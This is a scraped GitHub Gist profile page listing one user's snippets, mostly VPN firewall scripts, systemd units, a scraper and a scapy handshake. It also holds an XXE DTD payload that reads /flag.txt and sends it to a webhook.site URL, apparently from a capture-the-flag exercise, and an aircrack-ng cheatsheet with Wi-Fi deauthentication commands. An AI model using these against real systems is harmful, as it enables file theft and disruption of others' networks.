Skip to content

Instantly share code, notes, and snippets.

View b13bs's full-sized avatar

Étienne Ducharme b13bs

View GitHub Profile
@b13bs
b13bs / file.dtd
Last active March 21, 2018 17:38
<!ENTITY % payl SYSTEM "file:///flag.txt">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'https://webhook.site/9e414fa3-7c41-482e-b6c8-b81e9f8d5bd0?p=%payl;'>">
#!/bin/bash
# https://askubuntu.com/questions/530088/ufw-for-openvpn
# to allow ICMP: https://docs.j7k6.org/ufw-allow-icmp/
ufw --force reset
ufw default deny incoming # Use the VPN tunnel for all traffic
ufw default deny outgoing
#!/usr/bin/python2.7
import sys
import os
import threading
import time
import SocketServer
class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler):

Keybase proof

I hereby claim:

  • I am b13bs on github.
  • I am b13bs (https://keybase.io/b13bs) on keybase.
  • I have a public key ASCr5LFbV2OpPjERq_uPQLr9_AaGp65d_eRGxyIxnBHfBQo

To claim this, I am signing this object:

@b13bs
b13bs / Aircrack commands
Created May 19, 2017 15:33
cheatsheet for aircrack useful commands
airmon-ng start phy0
iwconfig wlan1mon channel $CHANNEL
iwconfig wlan1mon mode monitor
airodump-ng -c $CHANNEL --bssid $BSSID -w output wlan1mon
aireplay-ng -0 0 -a $BSSID -c $CLIENT wlan1mon
@b13bs
b13bs / nhl-bracket-scraping.py
Created April 26, 2017 22:37
NHL bracket challenge league leaderboard scraping with BeautifulSoup
#!/usr/bin/env python3
import sys
import bs4
import urllib.request
league_url = 'https://bracketchallenge.nhl.com/leagues/step'
response = urllib.request.urlopen(league_url)
html = response.read()
#!/bin/bash
# https://raspberrypi.stackexchange.com/questions/11648/raspbmc-and-openvpn-block-traffic-except-vpn-with-iptables
read dnsserver1 dnsserver2 <<<$(egrep -o "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" /etc/resolv.conf | head -n 2)
vpnserver=$(egrep "^remote.*443" /etc/openvpn/vpn-files/openvpn.ovpn | cut -d " " -f2)
# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
@b13bs
b13bs / qbittorrent.service
Last active April 21, 2017 12:58
Running qBittorrent client as a service
[Unit]
Description=qBittorrent Daemon Service
After=network.target
[Service]
Type=forking
User=qbtuser
ExecStart=/usr/bin/qbittorrent-nox -d --webui-port=8113
[Install]
[Unit]
Description=OpenVPN connection
After=network.target
[Service]
Type=forking
ExecStart=/usr/sbin/openvpn --daemon vpn --status /run/openvpn/%i.status 10 --cd /etc/openvpn/vpn-files --config openvpn.ovpn
ExecReload=/bin/kill -HUP $MAINPID
WorkingDirectory=/etc/openvpn/vpn-files
from scapy.all import *
ip=IP(dst="www.google.com")
port=RandNum(1024,65535)
SYN=ip/TCP(sport=port, dport=80, flags="S", seq=42)
SYNACK=sr1(SYN)
ACK=ip/TCP(sport=SYNACK.dport, dport=80, flags="A", seq=SYNACK.ack, ack=SYNACK.seq + 1)
send(ACK)